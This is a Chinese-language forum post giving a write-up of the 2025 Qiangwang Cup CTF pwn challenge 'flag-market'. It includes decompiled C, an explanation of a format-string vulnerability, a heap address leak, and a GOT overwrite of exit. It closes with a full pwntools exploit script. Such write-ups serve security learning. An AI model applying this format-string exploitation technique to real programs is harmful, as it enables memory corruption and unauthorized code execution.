吾爱汇编

 找回密码
 立即注册

QQ登录

绑定QQ避免忘记帐号

查看: 823|回复: 1

[原创逆向图文] 2025强网杯-flag-market

[复制链接]
StarrySky 发表于 2025-10-20 19:36 | 显示全部楼层 |阅读模式

本帖最后由 StarrySky 于 2025-10-20 19:50 编辑

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int idx; // [rsp+Ch] [rbp-84h]
  int fd; // [rsp+14h] [rbp-7Ch]
  FILE *stream; // [rsp+18h] [rbp-78h]
  char filename[9]; // [rsp+27h] [rbp-69h] BYREF
  char s[16]; // [rsp+30h] [rbp-60h] BYREF
  char flag[72]; // [rsp+40h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+88h] [rbp-8h]
?
  v10 = __readfsqword(0x28u);
  sub_401336();
  strcpy(filename, "/flag");
  stream = fopen(filename, "r");
  dword_40430C = 1;
  while ( 1 )
  {
    while ( 1 )
    {
      puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
      memset(s, 0, sizeof(s));
      read(0, s, 0x10u);
      if ( (unsigned __int8)atoi(s) != 1 )
        exit(0);
      puts("how much you want to pay?");
      memset(s, 0, sizeof(s));
      read(0, s, 0x10u);
      if ( (unsigned __int8)atoi(s) == 0xFF )
        break;
      printf("You are so parsimonious!!!");     // 格式化字符串漏洞
      if ( dword_40430C )
      {
        fclose(stream);
        dword_40430C = 0;
      }
    }
    puts(aThankYouForPay);                      // "Thank you for paying,let me give you flag: "
    if ( !dword_40430C || !fgets(flag, 64, stream) )
      break;
    for ( idx = 0; ; ++idx )
    {
      if ( idx > 64 )
      {
        puts("\nThank you for your patronage!");
        return 0;
      }
      if ( flag[idx] == '{' )
        break;
      putchar(flag[idx]);
      sleep(1u);
    }
    memset(flag, 0, 0x40u);
    puts(a1m31mError0mSo);                      // "\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log"
    puts("opened user.log, please report:");
    memset(oflag, 0, 0x100u);                   // "everything is ok~"
    __isoc99_scanf("%s", oflag);                // "everything is ok~"
    getchar();
    fd = open("user.log", (int)oflag);          // "everything is ok~"
    write(fd, oflag, 0x100u);                   // "everything is ok~"
    puts(aOkNowYouCanExi);                      // "OK,now you can exit or try again."
  }
  puts("something is wrong");
  return 0;
}
注意这里,存在一个格式化字符串漏洞
1760799801202-bdd563ba-a579-46c5-993c-d2a07fa52e7f.png
利用setvbuf中的stderr来输出环境变量中的flag
1760800430655-27b064fb-343b-45c0-be38-6cf046dcf574.png

调试到这里可以看到本地的flag,继续往下调
1760799757570-458be717-472f-4f30-aeff-1787c242a723.png
这里泄露出heap的地址,但是要加一个偏移,这个偏移就是刚才fgets写入的heap地址与这次heap地址的差值
1760804139092-427c9711-a8fa-4dfd-ac84-e147b3cec0c1.png
搜flag找到偏移 1760804967099-f3504bef-ddb9-426b-b02a-2bc1c1f2c1cd.png
%9$p拿stream流的heap地址,%c%12$hn为输入点的偏移,为了修改下一次输入点的值,这里是吧exit的got改为了main函数直接修改低字节
1760808028441-bdcaec19-773d-4123-96d6-4f2fc5f33c35.png
1760800970782-bd78b9e2-634f-4f7f-b218-91e2f4902681.png
劫持exit的got正好0x1393+8字节为main函数的地址
1760803540598-966a0054-2701-4f1b-a203-dca6c243550f.png
这里输入2来触发刚才的漏洞 1760801711740-209a4a31-49d5-4b53-8451-a550c9e30f82.png
p.sendlineafter(b'?', str(255))
p.sendlineafter(b':', b'a'*0x100 + b'%12$s')
p.sendlineafter(b'exit', b'1')
p.sendlineafter(b'want to pay?', p64(heap_addr))
这里输入-1或者255都行,只是为了进入打印flag的循环(输入-1可行是由于atoi的转换按有符号十进制数转),判断ff,进入循环,打印flag,继续走到log那里,继续覆盖全局变量进行格式化字符串漏洞。保存一个%12$s,然后继续输入刚才算好的偏移
1760802907927-f38fcf2f-7b13-4744-9198-2654fb46df88.png
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p = process('./fmt')
#p =remote('8.147.135.195', 30722)
p.recvuntil("2.exit\n")
p.sendline("1")
sleep(0.2)
p.sendline("255")
#gdb.attach(p , 'b *0x401603')
payload = b'a'*0x100 + b'%9$p' + b'%' + str(0x1393).encode() + b'c%12$hn'
p.sendlineafter(b':', payload)
p.sendlineafter(b'exit', str(1))
p.sendlineafter(b'how much you want to pay?\n', p64(0x0404090))
heap_addr = int(p.recv(10), 16) + 0x1e0
log.success(f"heap-->{hex(heap_addr)}")
p.sendlineafter(b'exit', b'2')
p.sendlineafter("2.exit\n",b"1")
p.sendlineafter(b'?', str(255))
p.sendlineafter(b':', b'a'*0x100 + b'%12$s')
p.sendlineafter(b'exit', b'1')
p.sendlineafter(b'want to pay?', p64(heap_addr))
p.interactive()
游客,如果您要查看本帖隐藏内容请回复


评分

参与人数 1HB +1 收起 理由
禽大师 + 1 [吾爱汇编论坛52HB

查看全部评分

吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
ebx 发表于 2025-10-22 23:13 | 显示全部楼层
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

警告:本站严惩灌水回复,尊重自己从尊重他人开始!

1层
2层

免责声明

吾爱汇编(www.52hb.com)所讨论的技术及相关工具仅限用于研究学习,皆在提高软件产品的安全性,严禁用于不良动机。任何个人、团体、组织不得将其用于非法目的,否则,一切后果自行承担。吾爱汇编不承担任何因为技术滥用所产生的连带责任。吾爱汇编内容源于网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除。如有侵权请邮件或微信与我们联系处理。

站长邮箱:SharkHeng@sina.com
站长QQ:1140549900


QQ|RSS|手机版|小黑屋|帮助|吾爱汇编 ( 京公网安备11011502005403号 , 京ICP备20003498号-6 )|网站地图

Powered by Discuz!

吾爱汇编 www.52hb.com

快速回复 返回顶部 返回列表